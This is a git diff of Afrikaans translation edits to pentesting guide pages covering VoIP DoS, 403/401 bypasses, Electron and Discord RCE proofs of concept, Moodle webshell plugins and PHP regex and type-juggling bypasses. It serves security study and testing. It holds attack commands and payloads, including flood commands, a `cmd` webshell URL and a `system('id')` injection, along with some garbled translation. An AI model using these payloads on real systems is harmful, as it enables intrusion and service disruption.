gekompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lĂȘers lees en beheer ook die konfigurasie, sodat hy Asterisk kan laat laai ander backdoored binaries wanneer dit uitgevoer word. +- **Verskeie vouers** sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lĂȘers lees en beheer ook die konfigurasie, sodat hy Asterisk kan laat laai ander agterdeur-binaries wanneer dit uitgevoer word. ### RTP Inspuiting Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`). -Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke te skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**). +Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke** te **skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**). ### DoS Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik. -- **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood stuur onbeperkte boodskappe na die teiken. +- **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood stuur onbeperkte boodskappe na die teiken. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien. +- **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers). - [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen. -- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse leĂ«rskĂȘrm. Kan ook gebruik word om SIP-aanvalle uit te voer. +- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensmiddel. Kan ook gebruik word om SIP-aanvalle uit te voer. - Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). -### OS Kw vulnerabilities +### OS Kwesbaarhede -Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geĂŻnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kw vulnerabilities** sal met tyd ontdek word. +Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geĂŻnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kwesbaarhede** sal met tyd ontdek word. ## Verwysings diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 9316722ad..4fafeb574 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,7 +6,7 @@ Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lĂȘer te verkry: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer. +- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die inligting kan verkry**. Maar jy moet steeds 'n manier vind om daardie inligting te exfiltreer. - Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf. - Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees. @@ -14,7 +14,7 @@ Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lĂȘer te ve - **Verander die Host-kop** na 'n arbitrĂȘre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Probeer om [**ander User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om toegang tot die hulpbron te verkry. -- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Headers**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep. +- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Koppe**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep. - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -36,16 +36,16 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi - `X-Rewrite-URL: /admin/console` - As die bladsy **agter 'n proxy** is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.** -- Fuzz [**spesiale HTTP-koppe**](special-http-headers.md) op soek na verskillende respons. -- **Fuzz spesiale HTTP-koppe** terwyl jy **HTTP Metodes** fuzz. +- Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons. +- **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz. - **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil. ## Path **Fuzzing** As _/path_ geblokkeer is: -- Probeer om _**/**_**%2e/path \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/path (dubbele URL-kodering) -- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geĂ«ncodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil. +- Probeer om `/%2e/path` te gebruik (as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook `/%252e**/path` (dubbele URL-kodering) +- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geĂ«nkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil - **Ander pad omseilings**: - site.com/secret –> HTTP 403 Verbode - site.com/SECRET –> HTTP 200 OK @@ -82,11 +82,11 @@ As _/path_ geblokkeer is: ## **Protocol weergawe** -As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2.0 ondersteun**. +As jy HTTP/1.1 gebruik, **probeer om 1.0** te gebruik of toets selfs of dit **2.0 ondersteun**. ## **Ander Omseilings** -- Kry die **IP** of **CNAME** van die domein en probeer om **direk kontak te maak**. +- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in verbinding te tree**. - Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). - **Verander die protokol**: van http na https, of van https na http - Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lĂȘer in die verlede **wĂȘreldwyd toeganklik** was. @@ -111,7 +111,7 @@ guest guest - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) - [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) - [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) -- [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster) +- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 86f948a56..f394b4d43 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -10,7 +10,7 @@ Hierdie kode open http(s) skakels met die standaardblaaier: ![](<../../../images/image (768).png>) -Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n kalkulator uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter. +Iets soos `file:///C:/Windows/systemd32/calc.exe` kan gebruik word om 'n rekenaarprogram uit te voer, die `SAFE_PROTOCOLS.indexOf` keer dit egter. Daarom kan 'n aanvaller hierdie JS-kode via die XSS of arbitrĂȘre bladsy-navigasie inspuit: ```html @@ -20,7 +20,7 @@ return 1337 } ``` -Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die calc uitvoer. Finale ontploffing: +Aangesien die oproep na `SAFE_PROTOCOLS.indexOf` altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die kalkuleerder uitvoer. Finale uitbuiting: ```html CLICK ``` -Kontroleer die oorspronklike skyfies vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings. +Kontroleer die oorspronklike skywe vir ander maniere om programme uit te voer sonder om 'n prompt te vra vir toestemmings. -Blykbaar is 'n ander manier om kode te laai en uit te voer om toegang te verkry tot iets soos `file://127.0.0.1/electron/rce.jar` +Blykbaar is 'n ander manier om kode te laai en uit te voer om iets soos `file://127.0.0.1/electron/rce.jar` te benader. ## Voorbeeld 2: Discord App RCE Voorbeeld van [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) Toe ek die preload-skripte nagegaan het, het ek gevind dat Discord die funksie blootstel, wat toelaat dat sommige toegelate modules via `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die webblad aangeroep kan word.\ -Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module. +Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die _child_process_ module, maar ek **het 'n kode gevind waar RCE bereik kan word deur die ingeboude JavaScript-metodes te oorskry** en in te gryp in die uitvoering van die blootgestelde module. -Die volgende is die PoC. Ek was in staat om te bevestig dat die **calc** toepassing **geopen** word wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**. +Die volgende is die PoC. Ek kon bevestig dat die **calc** toepassing **verskyn** wanneer ek die **`getGPUDriverVersions` funksie** aanroep wat gedefinieer is in die module genoem "_discord_utils_" van devTools, terwyl ek **die `RegExp.prototype.test` en `Array.prototype.join` oorskry**. ```javascript RegExp.prototype.test = function () { return false @@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() } return result } ``` -Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath`-variabele gespesifiseer is, maar as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die \_execa**\_**'s interne verwerking**. +Gewoonlik probeer die _execa_ om "_nvidia-smi.exe_" uit te voer, wat in die `nvidiaSmiPath` veranderlike gespesifiseer is, egter, as gevolg van die oorgeskryfde `RegExp.prototype.test` en `Array.prototype.join`, **word die argument vervang met "**_**calc**_**" in die _execa**_**'s interne verwerking**. Specifiek word die argument vervang deur die volgende twee dele te verander. + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index b97b535ea..54dc2adad 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -4,15 +4,15 @@ Kyk na verdere besonderhede in [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) -ImageMagick, 'n veelsydige beeldverwerkingsbiblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid weens sy uitgebreide opsies en gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat lei tot potensiĂ«le verkeerde konfigurasies. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat bydra tot sy kompleksiteit en kwesbaarheidprofiel, soos aangetoon deur historiese sekuriteitsvoorvalle. +ImageMagick, 'n veelsydige beeldverwerkingsbiblioteek, bied 'n uitdaging in die konfigurasie van sy sekuriteitsbeleid weens sy uitgebreide opsies en gebrek aan gedetailleerde aanlyn dokumentasie. Gebruikers skep dikwels beleide gebaseer op gefragmenteerde internetbronne, wat lei tot potensiĂ«le verkeerde konfigurasies. Die biblioteek ondersteun 'n wye verskeidenheid van meer as 100 beeldformate, wat elkeen bydra tot sy kompleksiteit en kwesbaarheidprofiel, soos aangetoon deur historiese sekuriteitsvoorvalle. -## Op Pad na Veiliger Beleide +## Op pad na Veiliger Beleide Om hierdie uitdagings aan te spreek, is 'n [instrument ontwikkel](https://imagemagick-secevaluator.doyensec.com/) om te help met die ontwerp en oudit van ImageMagick se sekuriteitsbeleide. Hierdie instrument is gegrond op uitgebreide navorsing en het ten doel om te verseker dat beleide nie net robuust is nie, maar ook vry van leemtes wat misbruik kan word. -## Toegestaanlys vs Verbode lys Benadering +## Toelaatlys teen Ontkenlys Benadering -Histories het ImageMagick beleide op 'n verbode lys benadering staatgemaak, waar spesifieke koders toegang geweier is. egter, veranderinge in ImageMagick 6.9.7-7 het hierdie paradigma verskuif, wat 'n toegestaanlys benadering moontlik gemaak het. Hierdie benadering weier eers toegang aan alle koders en gee dan selektief toegang aan vertroude, wat die sekuriteitsposisie verbeter. +Histories het ImageMagick beleide op 'n ontkenlysbenadering staatgemaak, waar spesifieke koders toegang geweier is. egter, veranderinge in ImageMagick 6.9.7-7 het hierdie paradigma verskuif, wat 'n toelaatlysbenadering moontlik gemaak het. Hierdie benadering weier eers toegang aan alle koders en grant dan selektief toegang aan vertroude, wat die sekuriteitsposisie verbeter. ```xml ... @@ -21,13 +21,13 @@ Histories het ImageMagick beleide op 'n verbode lys benadering staatgemaak, waar ``` ## Gevoeligheid vir Hoofletters in Beleide -Dit is van kardinale belang om te let dat beleidspatrone in ImageMagick gevoelig is vir hoofletters. Dit is dus noodsaaklik om te verseker dat koders en modules korrek in hoofletters in beleide geskryf word om onbedoelde toestemmings te voorkom. +Dit is van kardinale belang om te noem dat beleidspatrone in ImageMagick gevoelig is vir hoofletters. Dit is dus noodsaaklik om te verseker dat koders en modules korrek in hoofletters in beleide geskryf word om onbedoelde toestemmings te voorkom. ## Hulpbronlimiete -ImageMagick is geneig tot ontkenning van diens aanvalle as dit nie behoorlik geconfigureer is nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom. +ImageMagick is geneig tot ontkenning van diens-aanvalle as dit nie behoorlik gekonfigureer is nie. Dit is noodsaaklik om eksplisiete hulpbronlimiete in die beleid in te stel om sulke kwesbaarhede te voorkom. -## Beleid Fragmentasie +## Beleidsfragmentasie Beleide kan gefragmenteer wees oor verskillende ImageMagick-installasies, wat kan lei tot potensiĂ«le konflikte of oorskrywings. Dit word aanbeveel om die aktiewe beleidslĂȘers te lokaliseer en te verifieer met opdragte soos: ```shell @@ -41,6 +41,6 @@ Die doeltreffendheid van 'n sekuriteitsbeleid kan bevestig word met die `identif ## Verwysings -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 2663264e3..ac882a04d 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -62,17 +62,17 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -Ek het gevind dat die outomatiese gereedskap redelik **nutteloos is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +Ek het gevind dat die outomatiese gereedskap redelik **onbruikbaar is om kwesbaarhede wat die moodle weergawe raak, te vind**. Jy kan **kontroleer** daarvoor in [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** -Jy moet 'n **bestuurder** rol hĂȘ en jy **kan plugins installeer** binne die **"Site administration"** tab\*\*:\*\* +Jy moet 'n **bestuurder** rol hĂȘ en jy **kan plugins installeer** binne die **"Site administration"** tab**:** ![](<../../images/image (630).png>) -As jy 'n bestuurder is, mag jy steeds hierdie **opsie moet aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). +As jy 'n bestuurder is, moet jy dalk steeds hierdie **opsie aktiveer**. Jy kan sien hoe in die moodle privilege escalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Dan kan jy **die volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit ontbind, die IP en poort van die revshell verander en dit weer saamdruk_) +Dan kan jy die **volgende plugin installeer** wat die klassieke pentest-monkey php r**ev shell** bevat (_voor jy dit op laai, moet jy dit dekomprimeer, die IP en poort van die revshell verander en dit weer komprimeer_) {{#file}} moodle-rce-plugin.zip @@ -80,7 +80,7 @@ moodle-rce-plugin.zip Of jy kan die plugin van [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) gebruik om 'n gewone PHP shell met die "cmd" parameter te kry. -Om die kwaadwillige plugin te begin, moet jy toegang hĂȘ tot: +Om die kwaadwillige plugin te lanseer, moet jy toegang hĂȘ tot: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 3231f7ac4..4f207742a 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -18,7 +18,7 @@ Ligginge: /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` -## Omseil van PHP vergelykings +## Omseiling van PHP vergelykings ### Los vergelykings/Tipe Juggling ( == ) @@ -70,11 +70,11 @@ Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesba ``` ### preg_match(/^.\*/) -**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode sy uitvoering voortset). +**`preg_match()`** kan gebruik word om **gebruikersinvoer** te **valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** **teenwoordig** is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering). #### Nuwe lyn omseiling -E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer kontroleer**, dan, as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld: +E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer** **kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -98,7 +98,7 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r #### **Lengte fout omseiling** (Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\ -As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur: +As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,17 +110,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas. +In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas. [Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\ -**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system()}` om SSTI --> RCE --> vlag :)**. +**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system()}` laat wees om SSTI --> RCE --> vlag :)**. -Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sĂȘ, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\ -Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer: +Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "backtracking stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sĂȘ, standaard 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\ +Om dit te bereik, sal `'X'*500_001` in 1 miljoen backtracking stappe (500k vorentoe en 500k agtertoe) lei: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Tipe Juggling vir PHP obfuskering +### Tipe Juggling vir PHP obfuskerings ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -133,7 +133,7 @@ $obfs += ""; //int 7 ``` ## Voer Uit Na Oorplasing (EAR) -As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die kop `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: +As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die koptekst `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: ```php ``` -## Pad Traversal en LĂȘerinsluiting Exploitatie +## Pad Traversal en LĂȘrinvoeging Exploitatie Kontroleer: @@ -153,11 +153,11 @@ Kontroleer: ## Meer truuks -- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes\*\* wat binne die kode gebruik word oorskryf. -- Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang gee deur die waarde van die ander pad koekie in te stel.\ -Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 op pad2 van toepassing is**. En dan sal pad2 die veranderlikes van pad1 as geldig beskou (deur die koekie die naam te gee wat ooreenstem met dit in pad2). +- **register_globals**: In **PHP < 4.1.1.1** of as verkeerd geconfigureer, kan **register_globals** aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskryf** wat binne die kode gebruik word. +- Die **PHPSESSION koekies van dieselfde domein word op dieselfde plek gestoor**, daarom as daar binne 'n domein **verskillende koekies in verskillende paaie gebruik word** kan jy maak dat 'n pad **die koekie van die pad** toegang deur die waarde van die ander pad koekie te stel.\ +Op hierdie manier, as **albei paaie toegang het tot 'n veranderlike met dieselfde naam** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2). - Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kontroleer die adres: **/\~\** om te sien of die php directories geaktiveer is. -- As 'n php konfig **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** wanneer dit vanaf die web aangeroep word aangesien die ars arry nie gevul sal wees nie. Daarom, as 'n webblad probeer om te kontroleer of dit as 'n web of as 'n CLI tool loop met 'n vergelyking soos `if (empty($_SERVER['argv'])) {` kan 'n aanvaller **parameters in die GET versoek soos `?--configPath=/lalala`** stuur en dit sal dink dit loop as CLI en potensieel daardie argumente ontleed en gebruik. Meer info in die [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- As 'n php konfigurasie **`register_argc_argv = On`** het, dan word query params geskei deur spasies gebruik om die array van argumente **`array_keys($_SERVER['argv'])`** te vul soos asof dit **argumente van die CLI** was. Dit is interessant omdat as daardie **instelling af is**, die waarde van die **args array sal `Null` wees** 